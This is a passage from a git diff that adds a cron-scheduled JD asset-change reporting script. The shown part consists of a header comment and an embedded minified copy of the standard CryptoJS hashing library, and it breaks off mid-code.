`🔔${this.name}, 结束! 🕛 ${s} 秒`), + this.log(), + (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + } + (t, e) +} diff --git a/jd_bean_change.js b/jd_bean_change.js new file mode 100644 index 0000000..bd1b677 --- /dev/null +++ b/jd_bean_change.js @@ -0,0 +1,3236 @@ +/* +cron "30 21 * * *" jd_bean_change.js, tag:资产变化强化版by-ccwav + */ + +//详细说明参考 https://github.com/ccwav/QLScript2 + +// prettier-ignore +!function (t, e) { "object" == typeof exports ? module.exports = exports = e() : "function" == typeof define && define.amd ? define([], e) : t.CryptoJS = e() }(this, function () { var h, t, e, r, i, n, f, o, s, c, a, l, d, m, x, b, H, z, A, u, p, _, v, y, g, B, w, k, S, C, D, E, R, M, F, P, W, O, I, U, K, X, L, j, N, T, q, Z, V, G, J, $, Q, Y, tt, et, rt, it, nt, ot, st, ct, at, ht, lt, ft, dt, ut, pt, _t, vt, yt, gt, Bt, wt, kt, St, bt = bt || function (l) { var t; if ("undefined" != typeof window && window.crypto && (t = window.crypto), !t && "undefined" != typeof window && window.msCrypto && (t = window.msCrypto), !t && "undefined" != typeof global && global.crypto && (t = global.crypto), !t && "function" == typeof require) try { t = require("crypto") } catch (t) { } function i() { if (t) { if ("function" == typeof t.getRandomValues) try { return t.getRandomValues(new Uint32Array(1))[0] } catch (t) { } if ("function" == typeof t.randomBytes) try { return t.randomBytes(4).readInt32LE() } catch (t) { } } throw new Error("Native crypto module could not be used to get secure random number.") } var r = Object.create || function (t) { var e; return n.prototype = t, e = new n, n.prototype = null, e }; function n() { } var e = {}, o = e.lib = {}, s = o.Base = { extend: function (t) { var e = r(this); return t && e.mixIn(t), e.hasOwnProperty("init") && this.init !== e.init || (e.init = function () { e.$super.init.apply(this, arguments) }), (e.init.prototype = e).$super = this, e }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var e in t) t.hasOwnProperty(e) && (this[e] = t[e]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } }, f = o.WordArray = s.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 4 * t.length }, toString: function (t) { return (t || a).stringify(this) }, concat: function (t) { var e = this.words, r = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255; e[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (o = 0; o < n; o += 4)e[i + o >>> 2] = r[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var t = this.words, e = this.sigBytes; t[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, t.length = l.ceil(e / 4) }, clone: function () { var t = s.clone.call(this); return t.words = this.words.slice(0), t }, random: function (t) { for (var e = [], r = 0; r < t; r += 4)e.push(i()); return new f.init(e, t) } }), c = e.enc = {}, a = c.Hex = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i += 2)r[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new f.init(r, e / 2) } }, h = c.Latin1 = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n++) { var o = e[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new f.init(r, e) } }, d = c.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, u = o.BufferedBlockAlgorithm = s.extend({ reset: function () { this._data = new f.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = d.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (t) { var e, r = this._data, i = r.words, n = r.sigBytes, o = this.blockSize, s = n / (4 * o), c = (s = t ? l.ceil(s) : l.max((0 | s) - this._minBufferSize, 0)) * o, a = l.min(4 * c, n); if (c) { for (var h = 0; h < c; h += o)this._doProcessBlock(i, h); e = i.splice(0, c), r.sigBytes -= a } return new f.init(e, a) }, clone: function () { var t = s.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), p = (o.Hasher = u.extend({ cfg: s.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { u.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { return t && this._append(t), this._doFinalize() }, blockSize: 16, _createHelper: function (r) { return function (t, e) { return new r.init(e).finalize(t) } }, _createHmacHelper: function (r) { return function (t, e) { return new p.HMAC.init(r, e).finalize(t) } } }), e.algo = {}); return e }(Math); function mt(t, e, r) { return t ^ e ^ r } function xt(t, e, r) { return t & e | ~t & r } function Ht(t, e, r) { return (t | ~e) ^ r } function zt(t, e, r) { return t & r | e & ~r } function At(t, e, r) { return t ^ (e | ~r) } function Ct(t, e) { return t << e | t >>> 32 - e } function Dt(t, e, r, i) { var n, o = this._iv; o ? (n = o.slice(0), this._iv = void 0) : n = this._prevBlock, i.encryptBlock(n, 0); for (var s = 0; s < r; s++)t[e + s] ^= n[s] } function Et(t) { if (255 == (t >> 24 & 255)) { var e = t >> 16 & 255, r = t >> 8 & 255, i = 255 & t; 255 === e ? (e = 0, 255 === r ? (r = 0, 255 === i ? i = 0 : ++i) : ++r) : ++e, t = 0, t += e << 16, t += r << 8, t += i } else t += 1 << 24; return t } function Rt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)ft[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < ft[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < ft[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < ft[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < ft[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < ft[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < ft[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < ft[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < ft[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); dt[r] = s ^ c } t[0] = dt[0] + (dt[7] << 16 | dt[7] >>> 16) + (dt[6] << 16 | dt[6] >>> 16) | 0, t[1] = dt[1] + (dt[0] << 8 | dt[0] >>> 24) + dt[7] | 0, t[2] = dt[2] + (dt[1] << 16 | dt[1] >>> 16) + (dt[0] << 16 | dt[0] >>> 16) | 0, t[3] = dt[3] + (dt[2] << 8 | dt[2] >>> 24) + dt[1] | 0, t[4] = dt[4] + (dt[3] << 16 | dt[3] >>> 16) + (dt[2] << 16 | dt[2] >>> 16) | 0, t[5] = dt[5] + (dt[4] << 8 | dt[4] >>> 24) + dt[3] | 0, t[6] = dt[6] + (dt[5] << 16 | dt[5] >>> 16) + (dt[4] << 16 | dt[4] >>> 16) | 0, t[7] = dt[7] + (dt[6] << 8 | dt[6] >>> 24) + dt[5] | 0 } function Mt() { for (var t = this._X, e = this._C, r = 0; r < 8; r++)wt[r] = e[r]; e[0] = e[0] + 1295307597 + this._b | 0, e[1] = e[1] + 3545052371 + (e[0] >>> 0 < wt[0] >>> 0 ? 1 : 0) | 0, e[2] = e[2] + 886263092 + (e[1] >>> 0 < wt[1] >>> 0 ? 1 : 0) | 0, e[3] = e[3] + 1295307597 + (e[2] >>> 0 < wt[2] >>> 0 ? 1 : 0) | 0, e[4] = e[4] + 3545052371 + (e[3] >>> 0 < wt[3] >>> 0 ? 1 : 0) | 0, e[5] = e[5] + 886263092 + (e[4] >>> 0 < wt[4] >>> 0 ? 1 : 0) | 0, e[6] = e[6] + 1295307597 + (e[5] >>> 0 < wt[5] >>> 0 ? 1 : 0) | 0, e[7] = e[7] + 3545052371 + (e[6] >>> 0 < wt[6] >>> 0 ? 1 : 0) | 0, this._b = e[7] >>> 0 < wt[7] >>> 0 ? 1 : 0; for (r = 0; r < 8; r++) { var i = t[r] + e[r], n = 65535 & i, o = i >>> 16, s = ((n * n >>> 17) + n * o >>> 15) + o * o, c = ((4294901760 & i) * i | 0) + ((65535 & i) * i | 0); kt[r] = s ^ c } t[0] = kt[0] + (kt[7] << 16 | kt[7] >>> 16) + (kt[6] << 16 | kt[6] >>> 16) | 0, t[1] = kt[1] + (kt[0] << 8 | kt[0] >>> 24) + kt[7] | 0, t[2] = kt[2] + (kt[1] << 16 | kt[1] >>> 16) + (kt[0] << 16 | kt[0] >>> 16) | 0, t[3] = kt[3] + (kt[2] << 8 | kt[2] >>> 24) + kt[1] | 0, t[4] = kt[4] + (kt[3] << 16 | kt[3] >>> 16) + (kt[2] << 16 | kt[2] >>> 16) | 0, t[5] = kt[5] + (kt[4] << 8 | kt[4] >>> 24) + kt[3] | 0, t[6] = kt[6] + (kt[5] << 16 | kt[5] >>> 16) + (kt[4] << 16 | kt[4] >>> 16) | 0, t[7] = kt[7] + (kt[6] << 8 | kt[6] >>> 24) + kt[5] | 0 } return h = bt.lib.WordArray, bt.enc.Base64 = { stringify: function (t) { var e = t.words, r = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < r; o += 3)for (var s = (e[o >>> 2] >>> 24 - o % 4 * 8 & 255) << 16 | (e[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255) << 8 | e[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, c = 0; c < 4 && o + .75 * c < r; c++)n.push(i.charAt(s >>> 6 * (3 - c) & 63)); var a = i.charAt(64); if (a) for (; n.length % 4;)n.push(a); return n.join("") }, parse: function (t) { var e = t.length, r = this._map, i = this._reverseMap; if (!i) { i = this._reverseMap = []; for (var n = 0; n < r.length; n++)i[r.charCodeAt(n)] = n } var o = r.charAt(64); if (o) { var s = t.indexOf(o); -1 !== s && (e = s) } return function (t, e, r) { for (var i = [], n = 0, o = 0; o < e; o++)if (o % 4) { var s = r[t.charCodeAt(o - 1)] << o % 4 * 2, c = r[t.charCodeAt(o)] >>> 6 - o % 4 * 2, a = s | c; i[n >>> 2] |= a << 24 - n % 4 * 8, n++ } return h.create(i, n) }(t, e, i) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" }, function (l) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, n = t.algo, H = []; !function () { for (var t = 0; t < 64; t++)H[t] = 4294967296 * l.abs(l.sin(t + 1)) | 0 }(); var o = n.MD5 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o = this._hash.words, s = t[e + 0], c = t[e + 1], a = t[e + 2], h = t[e + 3], l = t[e + 4], f = t[e + 5], d = t[e + 6], u = t[e + 7], p = t[e + 8], _ = t[e + 9], v = t[e + 10], y = t[e + 11], g = t[e + 12], B = t[e + 13], w = t[e + 14], k = t[e + 15], S = o[0], m = o[1], x = o[2], b = o[3]; S = z(S, m, x, b, s, 7, H[0]), b = z(b, S, m, x, c, 12, H[1]), x = z(x, b, S, m, a, 17, H[2]), m = z(m, x, b, S, h, 22, H[3]), S = z(S, m, x, b, l, 7, H[4]), b = z(b, S, m, x, f, 12, H[5]), x = z(x, b, S, m, d, 17, H[6]), m = z(m, x, b, S, u, 22, H[7]), S = z(S, m, x, b, p, 7, H[8]), b = z(b, S, m, x, _, 12, H[9]), x = z(x, b, S, m, v, 17, H[10]), m = z(m, x, b, S, y, 22, H[11]), S = z(S, m, x, b, g, 7, H[12]), b = z(b, S, m, x, B, 12, H[13]), x = z(x, b, S, m, w, 17, H[14]), S = A(S, m = z(m, x, b, S, k, 22, H[15]), x, b, c, 5, H[16]), b = A(b, S, m, x, d, 9, H[17]), x = A(x, b, S, m, y, 14, H[18]), m = A(m, x, b, S, s, 20, H[19]), S = A(S, m, x, b, f, 5, H[20]), b = A(b, S, m, x, v, 9, H[21]), x = A(x, b, S, m, k, 14, H[22]), m = A(m, x, b, S, l, 20, H[23]), S = A(S, m, x, b, _, 5, H[24]), b = A(b, S, m, x, w, 9, H[25]), x = A(x, b, S, m, h, 14, H[26]), m = A(m, x, b, S, p, 20, H[27]), S = A(S, m, x, b, B, 5, H[28]), b = A(b, S, m, x, a, 9, H[29]), x = A(x, b, S, m, u, 14, H[30]), S = C(S, m = A(m, x, b, S, g, 20, H[31]), x, b, f, 4, H[32]), b = C(b, S, m, x, p, 11, H[33]), x = C(x, b, S, m, y, 16, H[34]), m = C(m, x, b, S, w, 23, H[35]), S = C(S, m, x, b, c, 4, H[36]), b = C(b, S, m, x, l, 11, H[37]), x = C(x, b, S, m, u, 16, H[38]), m = C(m, x, b, S, v, 23, H[39]), S = C(S, m, x, b, B, 4, H[40]), b = C(b, S, m, x, s, 11, H[41]), x = C(x, b, S, m, h, 16, H[42]), m = C(m, x, b, S, d, 23, H[43]), S = C(S, m, x, b, _, 4, H[44]), b = C(b, S, m, x, g, 11, H[45]), x = C(x, b, S, m, k, 16, H[46]), S = D(S, m = C(m, x, b, S, a, 23, H[47]), x, b, s, 6, H[48]), b = D(b, S, m, x, u, 10, H[49]), x = D(x, b, S, m, w, 15, H[50]), m = D(m, x, b, S, f, 21, H[51]), S = D(S, m, x, b, g, 6, H[52]), b = D(b, S, m, x, h, 10, H[53]), x = D(x, b, S, m, v, 15, H[54]), m = D(m, x, b, S, c, 21, H[55]), S = D(S, m, x, b, p, 6, H[56]), b = D(b, S, m, x, k, 10, H[57]), x = D(x, b, S, m, d, 15, H[58]), m = D(m, x, b, S, B, 21, H[59]), S = D(S, m, x, b, l, 6, H[60]), b = D(b, S, m, x, y, 10, H[61]), x = D(x, b, S, m, a, 15, H[62]), m = D(m, x, b, S, _, 21, H[63]), o[0] = o[0] + S | 0, o[1] = o[1] + m | 0, o[2] = o[2] + x | 0, o[3] = o[3] + b | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32; var n = l.floor(r / 4294967296), o = r; e[15 + (64 + i >>> 9 << 4)] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8), e[14 + (64 + i >>> 9 << 4)] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var s = this._hash, c = s.words, a = 0; a < 4; a++) { var h = c[a]; c[a] = 16711935 & (h << 8 | h >>> 24) | 4278255360 & (h << 24 | h >>> 8) } return s }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); function z(t, e, r, i, n, o, s) { var c = t + (e & r | ~e & i) + n + s; return (c << o | c >>> 32 - o) + e } function A(t, e, r, i, n, o, s) { var c = t + (e & i | r & ~i) + n + s; return (c << o | c >>> 32 - o) + e } function C(t, e, r, i, n, o, s) { var c = t + (e ^ r ^ i) + n + s; return (c << o | c >>> 32 - o) + e } function D(t, e, r, i, n, o, s) { var c = t + (r ^ (e | ~i)) + n + s; return (c << o | c >>> 32 - o) + e } t.MD5 = i._createHelper(o), t.HmacMD5 = i._createHmacHelper(o) }(Math), e = (t = bt).lib, r = e.WordArray, i = e.Hasher, n = t.algo, f = [], o = n.SHA1 = i.extend({ _doReset: function () { this._hash = new r.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = 0; a < 80; a++) { if (a < 16) f[a] = 0 | t[e + a]; else { var h = f[a - 3] ^ f[a - 8] ^ f[a - 14] ^ f[a - 16]; f[a] = h << 1 | h >>> 31 } var l = (i << 5 | i >>> 27) + c + f[a]; l += a < 20 ? 1518500249 + (n & o | ~n & s) : a < 40 ? 1859775393 + (n ^ o ^ s) : a < 60 ? (n & o | n & s | o & s) - 1894007588 : (n ^ o ^ s) - 899497514, c = s, s = o, o = n << 30 | n >>> 2, n = i, i = l } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = Math.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }), t.SHA1 = i._createHelper(o), t.HmacSHA1 = i._createHmacHelper(o), function (n) { var t = bt, e = t.lib, r = e.WordArray, i = e.Hasher, o = t.algo, s = [], B = []; !function () { function t(t) { for (var e = n.sqrt(t), r = 2; r <= e; r++)if (!(t % r)) return; return 1 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var r = 2, i = 0; i < 64;)t(r) && (i < 8 && (s[i] = e(n.pow(r, .5))), B[i] = e(n.pow(r, 1 / 3)), i++), r++ }(); var w = [], c = o.SHA256 = i.extend({ _doReset: function () { this._hash = new r.init(s.slice(0)) }, _doProcessBlock: function (t, e) { for (var r = this._hash.words, i = r[0], n = r[1], o = r[2], s = r[3], c = r[4], a = r[5], h = r[6], l = r[7], f = 0; f < 64; f++) { if (f < 16) w[f] = 0 | t[e + f]; else { var d = w[f - 15], u = (d << 25 | d >>> 7) ^ (d << 14 | d >>> 18) ^ d >>> 3, p = w[f - 2], _ = (p << 15 | p >>> 17) ^ (p << 13 | p >>> 19) ^ p >>> 10; w[f] = u + w[f - 7] + _ + w[f - 16] } var v = i & n ^ i & o ^ n & o, y = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), g = l + ((c << 26 | c >>> 6) ^ (c << 21 | c >>> 11) ^ (c << 7 | c >>> 25)) + (c & a ^ ~c & h) + B[f] + w[f]; l = h, h = a, a = c, c = s + g | 0, s = o, o = n, n = i, i = g + (y + v) | 0 } r[0] = r[0] + i | 0, r[1] = r[1] + n | 0, r[2] = r[2] + o | 0, r[3] = r[3] + s | 0, r[4] = r[4] + c | 0, r[5] = r[5] + a | 0, r[6] = r[6] + h | 0, r[7] = r[7] + l | 0 }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; return e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = n.floor(r / 4294967296), e[15 + (64 + i >>> 9 << 4)] = r, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = i.clone.call(this); return t._hash = this._hash.clone(), t } }); t.SHA256 = i._createHelper(c), t.HmacSHA256 = i._createHmacHelper(c) }(Math), function () { var n = bt.lib.WordArray, t = bt.enc; t.Utf16 = t.Utf16BE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = e[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(r, 2 * e) } }; function s(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } t.Utf16LE = { stringify: function (t) { for (var e = t.words, r = t.sigBytes, i = [], n = 0; n < r; n += 2) { var o = s(e[n >>> 2] >>> 16 - n % 4 * 8 & 65535); i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var e = t.length, r = [], i = 0; i < e; i++)r[i >>> 1] |= s(t.charCodeAt(i) << 16 - i % 2 * 16); return n.create(r, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var t = bt.lib.WordArray, n = t.init; (t.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var e = t.byteLength, r = [], i = 0; i < e; i++)r[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, r, e) } else n.apply(this, arguments) }).prototype = t } }(), Math, c = (s = bt).lib, a = c.WordArray, l = c.Hasher, d = s.algo, m = a.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), x = a.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), b = a.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), H = a.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), z = a.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), A = a.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), u = d.RIPEMD160 = l.extend({ _doReset: function () { this._hash = a.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, e) { for (var r = 0; r < 16; r++) { var i = e + r, n = t[i]; t[i] = 16711935 & (n << 8 | n >>> 24) | 4278255360 & (n << 24 | n >>> 8) } var o, s, c, a, h, l, f, d, u, p, _, v = this._hash.words, y = z.words, g = A.words, B = m.words, w = x.words, k = b.words, S = H.words; l = o = v[0], f = s = v[1], d = c = v[2], u = a = v[3], p = h = v[4]; for (r = 0; r < 80; r += 1)_ = o + t[e + B[r]] | 0, _ += r < 16 ? mt(s, c, a) + y[0] : r < 32 ? xt(s, c, a) + y[1] : r < 48 ? Ht(s, c, a) + y[2] : r < 64 ? zt(s, c, a) + y[3] : At(s, c, a) + y[4], _ = (_ = Ct(_ |= 0, k[r])) + h | 0, o = h, h = a, a = Ct(c, 10), c = s, s = _, _ = l + t[e + w[r]] | 0, _ += r < 16 ? At(f, d, u) + g[0] : r < 32 ? zt(f, d, u) + g[1] : r < 48 ? Ht(f, d, u) + g[2] : r < 64 ? xt(f, d, u) + g[3] : mt(f, d, u) + g[4], _ = (_ = Ct(_ |= 0, S[r])) + p | 0, l = p, p = u, u = Ct(d, 10), d = f, f = _; _ = v[1] + c + u | 0, v[1] = v[2] + a + p | 0, v[2] = v[3] + h + l | 0, v[3] = v[4] + o + f | 0, v[4] = v[0] + s + d | 0, v[0] = _ }, _doFinalize: function () { var t = this._data, e = t.words, r = 8 * this._nDataBytes, i = 8 * t.sigBytes; e[i >>> 5] |= 128 << 24 - i % 32, e[14 + (64 + i >>> 9 << 4)] = 16711935 & (r << 8 | r >>> 24) | 4278255360 & (r << 24 | r >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var c = o[s]; o[s] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } return n }, clone: function () { var t = l.clone.call(this); return t._hash = this._hash.clone(), t } }), s.RIPEMD160 = l._createHelper(u), s.HmacRIPEMD160 = l._createHmacHelper(u), p = bt.lib.Base, _ = bt.enc.Utf8, bt.algo.HMAC = p.extend({ init: function (t, e) { t = this._hasher = new t.init, "string" == typeof e && (e = _.parse(e)); var r = t.blockSize, i = 4 * r; e.sigBytes > i && (e = t.finalize(e)), e.clamp(); for (var n = this._oKey = e.clone(), o = this._iKey = e.clone(), s = n.words, c = o.words, a = 0; a < r; a++)s[a] ^= 1549556828, c[a] ^= 909522486; n.sigBytes = o.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var e = this._hasher, r = e.finalize(t); return e.reset(), e.finalize(this._oKey.clone().concat(r)) } }), y = (v = bt).lib, g = y.Base, B = y.WordArray, w = v.algo, k = w.SHA1, S = w.HMAC, C = w.PBKDF2 = g.extend({ cfg: g.extend({ keySize: 4, hasher: k, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r = this.cfg, i = S.create(r.hasher, t), n = B.create(), o = B.create([1]), s = n.words, c = o.words, a = r.keySize, h = r.iterations; s.length < a;) { var l = i.update(e).finalize(o); i.reset(); for (var f = l.words, d = f.length, u = l, p = 1; p < h; p++) { u = i.finalize(u), i.reset(); for (var _ = u.words, v = 0; v < d; v++)f[v] ^= _[v] } n.concat(l), c[0]++ } return n.sigBytes = 4 * a, n } }), v.PBKDF2 = function (t, e, r) { return C.create(r).compute(t, e) }, E = (D = bt).lib, R = E.Base, M = E.WordArray, F = D.algo, P = F.MD5, W = F.EvpKDF = R.extend({ cfg: R.extend({ keySize: 4, hasher: P, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, e) { for (var r, i = this.cfg, n = i.hasher.create(), o = M.create(), s = o.words, c = i.keySize, a = i.iterations; s.length < c;) { r && n.update(r), r = n.update(t).finalize(e), n.reset(); for (var h = 1; h < a; h++)r = n.finalize(r), n.reset(); o.concat(r) } return o.sigBytes = 4 * c, o } }), D.EvpKDF = function (t, e, r) { return W.create(r).compute(t, e) }, I = (O = bt).lib.WordArray, U = O.algo, K = U.SHA256, X = U.SHA224 = K.extend({ _doReset: function () { this._hash = new I.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = K._doFinalize.call(this); return t.sigBytes -= 4, t } }), O.SHA224 = K._createHelper(X), O.HmacSHA224 = K._createHmacHelper(X), L = bt.lib, j = L.Base, N = L.WordArray, (T = bt.x64 = {}).Word = j.extend({ init: function (t, e) { this.high = t, this.low = e } }), T.WordArray = j.extend({ init: function (t, e) { t = this.words = t || [], this.sigBytes = null != e ? e : 8 * t.length }, toX32: function () { for (var t = this.words, e = t.length, r = [], i = 0; i < e; i++) { var n = t[i]; r.push(n.high), r.push(n.low) } return N.create(r, this.sigBytes) }, clone: function () { for (var t = j.clone.call(this), e = t.words = this.words.slice(0), r = e.length, i = 0; i < r; i++)e[i] = e[i].clone(); return t } }), function (d) { var t = bt, e = t.lib, u = e.WordArray, i = e.Hasher, l = t.x64.Word, r = t.algo, C = [], D = [], E = []; !function () { for (var t = 1, e = 0, r = 0; r < 24; r++) { C[t + 5 * e] = (r + 1) * (r + 2) / 2 % 64; var i = (2 * t + 3 * e) % 5; t = e % 5, e = i } for (t = 0; t < 5; t++)for (e = 0; e < 5; e++)D[t + 5 * e] = e + (2 * t + 3 * e) % 5 * 5; for (var n = 1, o = 0; o < 24; o++) { for (var s = 0, c = 0, a = 0; a < 7; a++) { if (1 & n) { var h = (1 << a) - 1; h < 32 ? c ^= 1 << h : s ^= 1 << h - 32 } 128 & n ? n = n << 1 ^ 113 : n <<= 1 } E[o] = l.create(s, c) } }(); var R = []; !function () { for (var t = 0; t < 25; t++)R[t] = l.create() }(); var n = r.SHA3 = i.extend({ cfg: i.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], e = 0; e < 25; e++)t[e] = new l.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: 